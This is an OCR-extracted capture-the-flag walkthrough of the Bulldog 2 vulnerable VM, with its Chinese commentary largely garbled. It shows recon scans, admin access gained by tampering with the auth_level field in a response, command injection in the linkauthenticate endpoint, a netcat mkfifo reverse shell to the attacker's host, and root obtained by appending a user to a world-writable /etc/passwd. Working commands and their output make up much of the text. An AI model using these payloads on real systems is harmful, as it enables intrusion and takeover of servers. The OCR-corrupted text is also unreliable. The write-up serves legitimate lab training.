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nmap -sn 192.168.11.1/24



:~# nmap -sn 192.168.11.1/24
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-19 02:47 EDT
Nmap scan report for 192.168.11.1
Host is up (0.0012s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.11.2
Host is up (0.00019s latency).
MAC Address: 00:50:56:FB:84:DF (VMware)
Nmap scan report for 192.168.11.19 <——————
Host is up (0.00027s latency).
MAC Address: 00:0C:29:61:AE:4F (VMware)
Nmap scan report for 192.168.11.20 <t——
Host is up (0.00021s latency).
MAC Address: 00:0C:29:61:AE:4F (VMware)
Nmap scan report for 192.168.11.254
Host is up (0.00034s latency).
MAC Address: 00:50:56:EF:A4:BA (VMware)
Nmap scan report for 192.168.11.11
Host is up.
Nmap done: 256 IP addresses (6 hosts up) scanned in 21©3/bsecondgao 43

TR I OR D RS ER, RIAIFE T — 804 1, AR5 A Nginx

Nginx 1.14.0, ERZRAFIEMBITIRE, FEEA—MINR

nmap -sS -sV -T4 192.168.11.19

:~# nmap -sS -sV -T4 192.168.11.19
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-19 02:49 EDT
Nmap scan report for 192.168.11.19
Host is up (0.00055s latency).
Not shown: 999 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.14.0 (Ubuntu)
MAC Address: 00:0C:29:61:AE:4F (VMware)
Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap
.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.39 seconds hiipsi/blog.csdn.netiaq
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dirb http://192.168.11.19




:~# dirb http://192.168.11.19

DIRB v2.22
By The Dark Raver

START _TIME: Thu Mar 19 03:02:56 2020
URL_BASE: http://192.168.11.19/
WORDLIST FILES: /usr/share/dirb/wordlists/common.txt

GENERATED WORDS: 4612

---- Scanning URL: http://192.168.11.19/ ----
+ http://192.168.11.19/assets (CODE:301|SIZE:179)
+ http://192.168.11.19/favicon.ico (CODE:200|SIZE:5430)

END TIME: Thu Mar 19 03:03:03 2020 Q"
DOWNLOADED: 4612 - FOUND: 2 https://blog.csdn.net/qg_43968080

Vil bR, SEEBEO. RGN AEH R

<> C ® © & 192168.11.19/register @ ooy Y IND &€ O n® O
Owmss mss @ovwA @ localhost @ sQli @ Beer [] SegmentFault B ® s

@

n Register

Register

Notice

Unfortunately we are not accepting registrations at this time due to security concerns. If needed, please reach out to a customer
support representative to create a commercial account.
©) 9 o

About Us | Twitter \r'stc[:]ra n
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1hR—ANEBFAE, EERANaaa aaaB LM, HITIE S

Login

Username

Password

About Us | Twitter | Instagram

EEMENSHUN username M password , HARAE B 23X 31T sqE A TR

J Raw [ Params I Headers I Hex ]

POST fusersfauthenticate HTTR/1 .1

Host 192.168.11.19

User-Agent: Mozillafa.0 (Windows NT 10.0; Wing4, ®64, rnv74.0) Gecko/20100101 Firefox/74.0
Accept application/json, text/plain, =~

Accept-Language: zh-CN zh;q=0.8 zh-TW;q=0.7 zh-HK;q=0.5 en-US;q=0.3 ,en;q=0.2
Accept-Encoding: gzip, deflate

content-type: application/jsan

Content-Length: 44

Origin: http:/M192.168.11.19

Cannection: close

Referer: http://192.168.11.19/login

{
"username"; "aaa",

"password"; "aaa" m#v-—-—'—'_'____
]

{f Fsqimapi#17sqiENIRN, POSTIEATTR, K H BT cookie B B IX 224

sqlmap -u "http://192.168.11.19/users/authenticate”

--cookie="username=123&password=123"

--level=2




:~# sqlmap -u "http://192.168.11.19/users/authenticate" --cookie="usern
ame=123&password=123" --level=2

{1.4.1.35%dev}

http://sqlmap.or

['] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon

sible for any misuse or damage caused by this program

[*] sta r‘ting @ 03:49:26 /2@20 -03-19 / hitps://blog.csdn.net/qq_:

FEZRERE, KREH R, EANRXFLRER RS 4.

testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
testing 'MySQL >= 5.0.12 AND time-based blind (SLEEP)’

testing 'MySQL >= 5.0.12 RLIKE time-based blind'

testing 'PostgreSQL > 8.1 AND time-based blind'

testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
testing 'Oracle AND time-based blind'

testing 'MySQL >= 5.0.12 time-based blind - Parameter replace’
testing 'Generic UNION query (NULL) - 1 to 10 columns'

[ ] testing 'MySQL UNION query (NULL) - 1 to 10 columns'

[WARNING] Cookie parameter 'username' does not seem to be injectable
[ 1 [CRITICAL] all tested parameters do not appear to be injectable. Try
to increase values for '--level'/'--risk' options if you wish to perform more te
sts. If you suspect that there is some kind of protection mechanism involved (e.
g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comme
nt') and/or switch '--random-agent'

[ 1 [WARNING] HTTP error codes detected during run:

401 (Unauthorized) - 1 times

e
T bl Bl b bl bl b Rl Bl b
—
e bl b bl b Bl Bl bd

[*] ending @ 03:49:37 /2020-03-19/

4k B ERegistertit, RIASRREIR, BIRFXEHEH HH!

Register

Notice

Unfortunately we are not accepting registrations at this time due to security concerns. If needed, please reach out to a customer
support representative to create a commercial account.
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Bulldog.social Login  Register

p

Bulldog.social = ;

The fun social network

v

O Os8 Deus OEEE NEs (Irtess Quse s B &  TESHE @ Hacksar @ Adblock Plus g - X
W 7imsuRL Il Q @ @& HIML CSS JS XHR ==k Efe mek Ws =i [JsAs [|EmeEr  Fow: HAR:

wE Tk e poacd RERL fic) =i K 0=
304 GET # 1921681119 main.8b490782e52b389%e2a7.bundle js script is BEF 0=7 36|
264 GET # 192.168.11.19 particles.minjs script Js =2 [E=: 60|
3e4 GET # 192.168.11.19 inline.7a6fe116b23fa31a9970.bundle.js script js BEF 0F7 6 50|
3e4 GET # 192.168.11.19 polyfills.f056ccbeb07b92448c13.bundle.js script js BEF 0=+ 6 50|
364 GET # 1921681119 vendor.Oce9a4adaddea2? 177ca.bundlejs script js EBEF 07 750

fEsublime /] JsFormat XIJRADHEATHE, BB BT W) RERHE AT N2

1. &3*: Login
2. EMt: Register



2 7E main.8b490782e52b9899e2a7.bundle.js LB RIMRER: BRIEFE, Loginti=uF

Bl

}
}, L.prototype.onLink[leEghgSsubmit = function() {

var 1 = this,

n = {
username: this.username,
password: this.password

https://blog.csdn.net/gg_4

BEAERER, SEBREM, KT LR

L.prototype. Y EeaUser = function(l) {
var n X.Headers:

n.append("Content-Type", "application/json"), this.http.post("/users/register]"
headers: n

}).map(function(Ll) {
1.json()

BRI TEMAE Y RN ERBAMES T, DM R, 4B R

L.prototype.ngOnInit = function() {}, L.prototype.on[liehaaassubmit = function() {
var 1 this,

n={

name: this.name,

email: this.email,
username: this.username,
password: this.password
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EBFIM, MNP ZEBEAN qqq » B ERepeaterifiil

Request Response

j RawT Params I Headers | Hex Raw

POS |fusersfauthenticate'—1TTP!1 1 :
Host: T

User-Agent: Mazilla/s.0 (Windows NT 10.0; WinG4, x64; rv:74.0) Gecko/20100101 Firefoxw/74.0
Accept: application/jsan, text/plain, *M

Accept-Language: zh-CN,zh;g=0.8,zh-TW,;q=0.7 zh-HK;g=0.5,en-Us;g=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

content-type: applicationdsan

Content-Length: 44

COrigin: hitp:/192.168.11.19

Connection: close

Referer: http://192 168.11.19/login

( 1
"username"; "qqq",
"passward”: "qoq"

1

BEEE R IBE IS IEMEE4E:  /users/register , INIMFEABIEMBAMELE, KE

Request - ‘ﬁ% Ef[ Response
Raw Param:;//meﬁ Raw | Headers | Hex

FOST fusersfregister HTTP/1 .1 : HTTF/1.1 200 OK
Host: 192.168.11.19 Server: ngir'1.14.0 (Ubuntu)
User-Agent: Mozilla/5.0 (Windows NT 10.0; WinG4,; x&64; rv.74.0) Gecla/20100101 Firsfox/74.0 Date: Thu, 19 Mar 2020 09:52:15 GMT
Accept: applicationfjson, text/plain, "™ Content-Type: application/fjson; charset=utf-8
Accept-Language: zh-CN,zh;q=0.8 zh-TW,q=0.7 zh-HK;g=0.5 en-US;q=0.3 en;g=0.2 Content-Length: 40
Accept-Encoding: gzip, deflate Connection: close
content-type: application/san *-Powered-By. Express
Content-Length: 89 Access-Control-Allow-Crigin: *
Crigin: http://192.168.11.19 ETag: W/"28-r22PRevv1bosgiTQ0L7/ZWE1med"
Cannection: close
Referer: hitp://192.168.11.19/login {"success"true,"'msg" "User registered"} ﬁjz ]_'jJ i_‘lI_ ﬂﬂ- !
{

"name": "qgq", — ‘jﬁbu

"email": "ggg@abc.com", ~7

"username": "qaq”,

"password": "gqgq"
}

FRIEM ! B REMAIKS: qaq - qaq HITEFR, BIEARSR

Bulldog.social Profile  Logout

You are now logged in

qqq

Username: qqq

Email: gqqg@abc.com

About Us | Twitter | Instagram

H LAH profile BRI, (HERT/EERAEMRM.

EIEFIIHIA, ®EMMiZER (Response to this request) , BHEMMNA, KE—TREHBUFFE
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Haw | Farams | Aeaders | nex
| | | | e |

POST Jusersfauthenticate HTTP/1 .1

Hast 192.168.11.19
User-Agent: Mozilla/s.0 (W
Accept application/san, te
Accept-Language: zh-CN 7
Accept-Encoding: gzip, def
cantent-type: applications|s
Content-Length: 44
Origin: http: /192 168 111
Connection: close
Referer: http://192.168.11.

{
"username": "qqq”,
Ilpasswljrdll: Illqlqlqll

}

Send to Spider

Do an active scan

Send to Intruder Cirl+l
Send to Repeater Ctri+R
Send to Sequencer

Send to Comparer

Send to Decoder

Request in browser (2

Engagement tools 2

Change request method
Change body encoding

Copy URL

Copy as curl command

Copy to file

Paste from file

Save item

Don't intercept requests (2

Do intercept

L.Onvert selecton >

URL-encode as you type

«0/20100101 Firefox/74.0

n=0.3enq=02

Response to this request

RN KI auth_level (BHBER) FB, UPHFEEEBN

Raw | Headers | Hex

HTTR/1.1 200 OK
Server: nginx1.14.0 (Ubuntu)
Date: Thu, 19 Mar 2020 13:39:06 GMT

Content-Length: 373
Connection: close
“{-Powered-By: Express
Access-Contral-Allow-Origin: *

{"success"true "token""JWT

Content-Type: applicationjson; charset=utf-8

ETag: W/"175-HSfXoHrcs SsLHJIeBMZZT 1AZzwa"

user level: MFE4E, UFEHFILEEBRK

eyJhbGLiCIUzI NisInRECCIEIkpXVCII eywYXIsh 2F K p 7ImShbWUIOxc XEILCJIbWF pb ClIEINFxcUBRYmMUY 29tiwid <NIcmShbWUIOIXCXEILCJhdXRax2ddmVsljoic3RhbmRhc mREMNIC L CIp Y XQIOJE 10D 2MjUxNDY
sImVACCIEMTUANTIyOTKONNO KYoa_hJkGYVAZUMApLIq_CRulcwye)120sTPKOFSZIVA" "user":{"name""qqq","username"."qgq" "email". "ggg@abc com" "auth_level""standard_user"}}

B AR B T Z BTHIISIC, R auth_level RBFRFEHREMHALE

}, L.prototype.isAdmin

var 1

null

}, L.prototype.storeUserData
localStorage.setItem("id_token", 1)

}, L.prototype.loadToken

BT —AEEBladmint bR iR & 473 5 iR :

function() {
localStorage.getItem("user");
1 "master_admin_user"

function(Ll, n) {

function() {

master_admin_user , ZZiXHITEH, REFRT

JSON.parse (1) .zl MmE=I=)!

localStorage.setItem("user™, JSON.

hitg

Raw | Headers | Hex

HTTP/1.1 200 OK
Server: ngine1.14.0 (Ubuntu)
Date: Thu, 19 Mar 2020 13:54:08 GMT

Content-Length: 373
Connection: close
X-Powered-By: Express
Access-Control-Allow-Origin: *

Content-Type: application/jsan; charset=utf-8

ETag: Wi"175-Rg3iPrvo1xa0BrBsF Z2JZgwwwaA"

&2 F A br il




{"SUCCESS" TIUE, "TOKEN" "W |
eyJhbGeidiuzl NilsInRScCl6lkpxXVCJI9 ey wyKIsb 2F kjp7ImShbWUIDixeXEILCJIbWF pbCl6InFxc UBhY miuy 29twid<NIicmShbwUi Ol XEIL CIhd<RoxX2xdmysljoic SRhbmRhemRIdLMIcJOL CIp Y QIQJE 1 OD Q2 M YWDy
sImv4cCIEMTU4NTIZMDgOOHO 4olN3ogvvivexqBsdPF_v25F KgSWYNY-fddjKFjrMgu" "user":["name" "gqq" "username":"qqq" "email”: "qqq@abc com' "auth_level" "master_admin_user'}}

B AR 2] T admintSU iR

Admin  Profile Logout

- agg N

RdrAdmin, HI—NMEHEAE, FEEX, EARERAEMKSHEERBRE

Wrong password

Admin Dashboard

Link+ Login
Please authenticate with the Link+ CLI Tool to use Link+

Username

999

Password .

TEJS UM B R R F Dashboard HE AR AHER, H—KMAM LI RKEBH.

BRA& MK WriteUph B A1, WAEFEGSIITRER, KERXHERIK:

o HAEMAKSHERER, WEHFHIERSE, B3 7 HE /K



Request

Raw | Params

Headers | Hex

Response

Raw | Heacers | Hex | HTML | Render |

POST fusersflinkauthenticate HTTR/1 1
Host: 192.168.11.19

User-Agent: Mozilla’5.0 (Windows NT 10.0; Wing4; x64; nv:74 0) Gecko/20100101 Firefax/74.0
Accept
Accept-Language: zh-CN zh;q=0.8 zh-TW,q=0.7 zh-HK;q=0.5 en-U5,q=0.3,en;q=0.2

application/son, text/plain, =~

Accept-Encoding: gzip, deflate
content-type: application/json
Content-Length: 43

Origin: http://192.168.11.19

Connection: close

Referer: http://192.168.11.19/dashboard

{

"username": "qaq’”,

'

"passward": "gqq

EHFEN5 5,

A HTTF/1.1 400 Bad Request
Server: nging1.14.0 (Ubuntu)
Date: Thu, 19 Mar 2020 14:20:31 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 1063
Connection: close
-Powered-By. Express
Access-Caontral-Allow-Origin: *
Content-Security-Policy: default-src 'self’
*-Content-Type-Options: nosniff

<IDOCTYPE htmi>
<html lang="gn">
<head:>

f‘ﬁ]fﬁ*ﬁ.f& <meta charset="ut-8">
<title>Error</title> P .
</head> 1= ?U 1
<hody>

)<br> &nbsp; &nbsp;at

&nbsp; &nbsp;at invokeCallback

T H 4 K

<pre>SyntaxError: Unexpected token <br> in JSON at position 41<br> &nbsp; &nbsp;at
JSON.parse (&lt:anonymous&gt;)<br> &nbsp; &nbsp:at parse
(/var/www/node/Bulldog-2-The-Reckoning/node_modules/body-parser/lib/types/json.js:89:19

fvariwww/node/Bulldog-2-The-Reckoning/node_modules/body-parser/lib/read.js:121:18<br>

{/var/www/node/Bulldeg-2-The-Reckoning/node_modules/raw-body/index.js:224.16)<br>

o 7EGitHub E&E#RE| T HEMIHE

m mw Ww W W W w D F F FFPF

Frichetten Merge pull request #1 from Frichetten/vuln_updates

angular-src
config

dump/app
models

routes

views

.gitignore
Dockerfile
README.md
appjs
docker-compose.yml
npm-debug.log
package-lock json

package.json

README.md

Updated dependencies

Added a dockerfile for in the future, Please be aware this will not c...
Updated the new copy of the database

Profile pictures are now static

Tweaked some things, | think the core is nearly done, just need to ad...
Worked on the auth system. Probably should have made a front end firs...
The project is not dead!

Added a dockerfile for in the future, Please be aware this will not c...
Initial commit

Created the about section

Added a dockerfile for in the future, Please be aware this will not c...
React is a nope. I'll come back to it someday. For now, | still like ...
Created the about section

Created the about section

Bulldog-2-The-Reckoning

Latest commit f6@ct3d on 3 Oct 2018

2 years
2 years
2 years
2 years
2 years
3 years
2 years
2 years
3 years
2 years
2 years
3 years
2 years

2 years

ago

ago

ago

ago

ago

ago

ago

ago

ago

ago

ago

ago

ago

ago
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const username =

const password =

req.body.password;
req.body.password;

router.post('/linkauthenticate', (reqg, res, next) == {

P

exec( linkplus -u ${username} -p ${password}", (error, stdout, stderr) == {

if (error) {

return;

console.error(’exec error:

s{error}’):

o REEHRH, AWREEH LI AT ALHATIRIGEH T, L TRB, EEAHRIERETMMAA .

zé\%:

1 HERERER TR E R, TREEREEAMBTIERGEE T, BEEAMERE A —FRRSE, o Eit.
2. FNENUA sqREANFRTF, @@ PATIRIFA KR L B0 .

OK, HEREIREHMHBE, [BAMMLAFERFLSHITHR

BAE MR ATIAE— T, LA Aping®4: ping 114.114.114.114

T, A EHF AR,

> |

Go Cancel <|r

A “WLAN - O
Request STHHF) ERIE(E) MIE(Y) BEE(G) HER(C) SHTA) #HS) (YY) FewW) TE(T) mEpH)
Raw | Params | Headers | Hex . i1 @® X G q 4= = 'E o : ; ®\ Q Q E
POST Jusers/linkautnanticate HT TP/1.1 [ [icnpl E -] #EpEe 4+
Host 192.168.11.19 Ho. Tine Source Destination Protocel Length Info ~
ise“ﬁgem}Mfmf5Ui?iﬁﬁwFNLWUU‘Wm54’ 70 17.502216 192.168.0.109 114.114.114.114 ICMP 98 Echo (ping) ..
ccept application/json, text/plain, * .
Accept Language: 2 CNaft qo0.8 2 TW:q=0 7.8 73 18.529102 192.168.0.109 114.114.114.114 ICMP 98 Echo (ping) ..
Arcept Encading: gzip, defiate 74 18.567400 114.114.114.,114 192.168.9.109 ICMP 98 Echo (ping) ..
content-type: application/jsan 75 19.530303 192.168.8.189 114.114.114.114 ICMP 98 Echo (ping) ..
Content-Length: 68 76 19.567979 114.114.114.114 192.168.0.109 ICMP 98 Echo (ping) ..
S”9m3T¢W”192‘55*119 77 20.532171 192.168.0.109 114.114.114.114 ICMP 98 Echo (ping) ..
annection: close .
Bcferer hitn 152 165 11 1Skasboare 78 20.569864 114.114.114.114 192.168.0.109 ICMP 98 Echo (ping) -
79 21.534781 192.168.0.109 114.114.114.,114 ICMP 98 Echo (ping) ..
{ “ff 80 21.572357 114.114.114.114 192.168.0.109 ICMP 98 Echo (ping) ..
"username" "qqq", = L 81 22.536275 192.168.0.109 114.114.114.114 ICMP 98 Echo (ping) .
‘passward”. "qqq [ ping 114.114.114.114" L 82 23.552966 192.168.0.109 114.114.114.,114 ICMP 98 Echo (ping) .
! L 83 23.590750 114.114.114.114 192.168.0.109 ICMP 98 Echo {ping) ..

i Fwireshark3l K3, Zird C&AT, FHEBEE G PATIRE.
(FFE: P EWRATPARA nttp://R%%ip, RERSHTENUIE0H D, RWI\EREGHEE RN RTE GLSPITRE, BER

BERRTD, WO culr JEHRAETN. )

&3], EHUTEQNTES R#shel, BAREEREEE —REFR#Hshell i R 347,

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.11.11 9999 >/tmp/f




i FInc3T Frkalift199993 1 33 4T W Wr

:~# nc -lvp 9999

listening on [any] 9999 ...

RIETH A R #shelldr 4 KR

Raw | Params T Headers IE}

Raw | Headers T@]

POST /users/linkauthenticate HTTP/ 1

Host: 192.1668.11.19

User-Agent Mozilla/5.0 (Windows NT 10.0; Win&4, x64, rv:74.0) Gecko/20100101 Firefow/74.0
Accept application/json, text/plain, *~

pt-Language: zh-CN zh;q=0.8 ,zh-TW,q=0.7 zh-HI;q=0.5 en-US;g=0.3 en;q=0.2

Accept-Encading: gzip, deflate

content-type: application/json
o

Content-Length: 128

Crigin: http://192.168.11.19

Connection: close

Referer: http://192.168.11.19/dashboard

{
"username" "goq",
"passward": "gqq | rm Amp/f;midito gmp/f, cat Amp/f/bin/sh -i 2=&1|nc 192.168.11.11 9999 =/tmp/f,"

1

>

HTTR/1.1 200 OK

Server: ngimg1.14.0 (Ubuntu)

Date: Thu, 19 Mar 2020 15:15:09 GMT
Caontent-Type: application/json; charset=ut-8
Content-Length: 40

Connection: close

A-Powered-By. Express
Access-Contral-Allow-Origin: *

ETag: W/'28-44X062/YZramaR4iTyg 1FLYKPAI"

{"success"false "msg" "Wrong password"}

e Kali B B2 s Th # 51 )x #shell

:~# nc -lvp 9999
listening on [any] 9999 ...

192.168.11.19: inverse host lookup failed: Unknown host

connect to [192.168.11.11] from (UNKNOWN) [192.168.11.19] 37546

/bin/sh: 0: can't access tty; job control turned off

$ pwd <——
/var/www/node/Bulldog-2-The-Reckoning

HR XK shell X 1EMEHERASTTE, BAVEHpython k&L —bash& ik

python -c 'import pty;pty.spawn("/bin/bash")"




$ python -c 'import pty;pty.spawn("/bin/bash")’

node@bulldogz:fvarfwww!node!Bulldog-2-The-Reckoning$\

KI2p W, XN MR B X, RS AT R S

node@bulldog2:/var/www/node/Bulldog-2-The-Reckoning$ 1s

1s

angular-src docker-compose.yml models package.json routes
app.js Dockerfile node modules package-lock.json views
config dump npm-debug.log README.md
node@bulldogz:/var/www/node/Bulldog-2-The-Reckoning$|

SBE—THAERS, FFE—rooth

node@bulldog2: /var/www/node/Bulldog-2-The-Reckoning$ cat /etc/passwd
cat /etc/passwd
ooot:x:0:0:root:/root:/bin/bash

B T 7R H A rootBU R - ChZ Bl B 8 )

syslog:x:102:106::/home/syslog: /usr/sbin/nologin
messagebus:x:103:107:: /nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
Ixd:x:105:65534::/var/lib/1xd/: /bin/false
uuidd:x:106:110::/run/uuidd: /usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq, ,, : /var/lib/misc: /usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape: /usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
admin:x:1000:1004:admin: /home/admin: /bin/bash
mongodb:x:111:65534:: /home/mongodb: /usr/sbin/nologin
node:x:1001:1005:,,, :/home/node: /bin/bash
dirty:aaW3cJZ70S0QM:0:0:dirty:/root:/bin/bash <<
username:aalU3oayJ5BcR6:0:0:username: /root:/bin/bash >
node@bulldog2:/var/www/node/Bulldog-2-The-Reckonings hftps/blog.csdn.netiqq_43

S A S HT % B — S rootBUR A

node@bulldog2:/var/www/node/Bulldog-2-The-Reckoning$ useradd -g root abc
useradd -g root abc
useradd: Permission denied. <

useradd: cannot lock /etc/passwd; try again later.
node@bulldog2:/var/www/node/Bulldog-2-The-Reckoning$

RRBURAZ, B8 7 AErootBUR, 7 Z4RAL.



WATLIERAFR D, HETUIDA1001, R H AR

node@bulldog2:/var/www/node/Bulldog-2-The-Reckoning$ id
id

uid=1001(node) gid=1005(node) groups=1005(node)
node@bulldog2:/var/www/node/Bulldog-2-The-Reckoning$ |

7
UIDAOK A P REHH /. Bitbin T 77 REKKali EHLKuid.

:~/Desktop# id
uid=0(root) gid=0(root) ZH=0(root)

:~/Desktop#

FELinuxHH F 7 73 3

Hep, HH P BORIERMRIE — SRR RER— LM RS KRR K S 6.

¥hFE T — FLinuxF 2 BOA1R, BRZE4kSE, EF — FpasswdICH Rt

node@bulldog2: /var/www/node/Bulldog-2-The-Reckoning$ ls -1 /etc/passwd
1s -1 /etc/passwd &

-rwxrwxrwx 1 ooot root 1765 Mar 18 11:38 /etc/passwd
node@bulldogz:fvar/www/node/Bulldog-2-The-Reckoning$\

fitJ& A 72 Aooot, Fr)@ 4 Arootl, T HZHRIBMRAES, Fbw DAEE R H 5 A —rooth FRETAH

¥E:
—RERER LA THAERNT S, REIFERRBEN, ERIEENWT:

find / -writable -type f 2>/dev/null |grep -v "/proc/"



UEER, ZJETHS T, passwd XA UIBA

node@bulldog2:/var/www/node/Bulldog-2-The-Reckoning$ find / -writable -type f 2>
/dev/null |grep -v "/proc/"

/dev/null |grep -v "/proc/"/
/tmp/v8-compile-cache-1001/6.7.288.46-node.13/zSusrzSlibzSnode_moduleszSpm2zShin
ZSpm2.BLOB
/tmp/v8-compile-cache-1001/6.7.288.46-node.13/zSusrzSlibzSnode moduleszSpm2zSbin

zSpm2 . MAP

/etc/passwd <——

/sys/kernel/security/apparmor/.remove
/sys/kernel/security/apparmor/.replace
/sys/kernel/security/apparmor/.load
/sys/kernel/security/apparmor/.access https://blog.csdn.net/q

(ER SRR, —BUX Fipasswd X HHEEMH 7 A1 5 KIF LR A FEFERD

FFag 1A passwd XS AN —AroottU BRI F -
RELEH— 1 hash/G &Y, AT LAMEALinuxE 7 imkpasswd s &4, 5 ~abed
:~/Desktop# mkpasswd

R T
GSA9jpckEYwa2

IR FEMIL A, A MEHoryptE ARk, Y Nabed, Hh{E Asa:

node@bulldog2: /var/www/node/Bulldog-2-The-Reckoning$ perl -le 'print crypt("abcd
n s llsall) n

","sa")' 'print crypt("abcd"

sa/4pHNdnrm6Q

node@bulldog2: /var/www/node/Bulldog-2-The-Reckoning$ |

WA CAE AL B, KNI & B A]

:~/Desktop# perl -le 'print crypt("abcd","sa")'
sa/4pHNdnrm6Q
:~/Desktop# |

REEMEHBEA MR, #Hechofr &% H S A\passwd LK, EEHEN:

echo 'abcd:GSA9jpckEYwa2:0:0:abcd:/root:/bin/bash’' >> /etc/passwd




node@bulldog2: /var/www/node/Bulldog-2-The-Reckoning$ [T, JETJols Y - CR] T A3 4EVEE

0:abcd:/root:/bin/bash' >> /etc/passwd
0:abcd:/root:/bin/bash' >> /etc/passwd

BTE— Tpasswd XA

admin:x:1000:1004:admin: /home/admin: /bin/bash
mongodb:x:111:65534: : /home/mongodb: /usr/sbin/nologin
node:x:1001:1005:,,, :/home/node: /bin/bash
dirty:aaW3cJZ70S0QM:0:0:dirty:/root:/bin/bash
username:aalU3o0ayJ5BcR6:0:0:username: /root:/bin/bash
abcd:GSA9jpckEYwa2:0:0:abcd: /root:/bin/bash <

A] LAE B LA A1 2 fabed H 7 B4 R Th B Apasswd XX, HAFR Aroot, TI#fH F

node@bulldog2:/var/www/node/Bulldog-2-The-Reckoning$ su abcd
su abcd
Password: abcd

ooot@bulldog2: /var/www/node/Bulldog-2-The-Reckoning# id

id

uid=0(ooot) gid=0(root) groups=0(root)
ooot@bulldog2:/var/www/node/Bulldog-2-The-RecKonbivg#sd.netod_

OK, MIhEH|rootB R, RMUHIN, &— Tflag

ooot@bulldog2:/var/www/node/Bulldog-2-The-Reckoning# cd

cd

ooot@bulldog2:~# 1s

1ls

flag.txt

ooot@bulldog2:~# cat flag.txt e

cat flag.txt

Congratulations on completing this VM :D That wasn't so bad was it?

Let me know what you thought on twitter, I'm @frichette_n

I'm already working on another more challenging VM. Follow me for updates.
ooot@bulld og 2:~# hitps:/fblog.csdn.net/qq_ 80

SR ZEENE EREE T, HRRIENBEFRER.

ZE M, EF T roothfR, rootB R AT EAEWeb H R#ATH L, RIFFHFEERE.

ZHIBLRE T, WEHARZR K H RS ZWebiR H3:

/var/www/node/Bulldog-2-The-Reckoning



node@bulldog2:/var/www/node/Bulldog-2-The-Reckoning$ 1s
1s
angular-src docker-compose.yml models package. json routes

app.js Dockerfile node modules package-lock.json views
config dump npm-debug.log README.md
node@bulldogz:/var/www/node/Bulldog-2-The-Reckoning$|

AT DAFE AN R — T H AT W E X8 T :  dashboard

©U 4 192.168.11.19/dashboard
© ovwA @ localhost @ saLi @ Bekr [§] SegmentFault BF

Admin|Dashboard

PRI R BN T AR, BB AR B OB AR B 3, W AT

ooot@bulldog2: /var/www/node/Bulldog-2-The-Reckoning# 1s

1s

angular-src docker-compose.yml models package.json routes
app.js Dockerfile node_modules package-lock.json views
config dump npm-debug.log README.md

ooot@bulldog2: /var/www/node/Bulldog-2-The-Reckoning# find . -name "*dashboard*"
find . -name "*dashboard*"

./angular-src/src/app/components,'dashboard
./angular-src/src/app/components,/dashboard/dashboard. component.html
./angular-src/src/app/components,’'dashboard/dashboard. component.spec.ts
./angular-src/src/app/components,/dashboard/dashboard.component.css
./angular-src/src/app/components,'dashboard/dashboard.component.ts
ooot@bulldog2: /var/www/node/Bulldog-2-The-Reckoning# | https://blog.csdn.net/a

BR, EiZXHFRABAMRAME, ViF404, JERUOTTET B R, BRMES RIS L — A5 R SO =

ts# lsulldog2:/var/www/node/Bulldog-2-The-Reckoning/angular-src/src/app/component
s

about dashboard fourofour home 1login navbar profile register users

ts# mkdir 123:/var/www/node/Bulldog-2-The-Reckoning/angular-src/src/app/component
mkdir 123

ts# cd 12309g2:/var/www/node/Bulldog-2-The-Reckoning/angular-src/src/app/component

cd 123

ts/123# echo '<hl>test</hl>' >>123.component.htmlng/angular-src/src/app/component
echo '<hl>test</hl>' >>123.component.html <t

ts/123# lsog2:/var/www/node/Bulldog-2-The-Reckoning/angular-src/src/app/component
s

123. component .html <? https:/fblog.csdn.net/qq_<

BRI A R B ol e U7 TR0 SCAF I, RV ) SO e 42, BLARTT BERLZAR 2 IR R4




© & 192.168.11.19/login

@ DVWA @ localhost @ SQLi @ BeEF m SegmentFault &

Login !

PO S RIXAER, ERKRAM, fiittREREXHTRITRET, RRENZHEE, FENMIRAZT .

SE
RYBEHISE KRB AU T 5R:

RERERXEE, WIEA TS ARBTG5 HAA T M _EKARZ WriteUp, B!

B S AINmapiE /T334, 4 N i Ok S5E4E B

XPITEI80% D BEAT I, HAMHI AR, EERREAFHER

ViR R, Xl AT sSQEE A B IRIRAR I, R AR BLRTR

BEEMSIM, KIAISKBE SR, KHEREER BT H T
MR8 {5 B A R JSTRFG A2 T P EM ARG R, EhEM A -
HARG)E, RWZRGFEMBRE, T %R R Shdi A 2] & 2 R R
HEEHERFEPAIMINEE T, KIA—NEFAFFE AT IR
Az R 5shell, FIh#EN BAREHL, (ER MR SUR 9 iE
F Hpasswd XA Z &R E FE CGHERFTE) , AlZroott R
T ZE | rootA R .

WA H B E TR .
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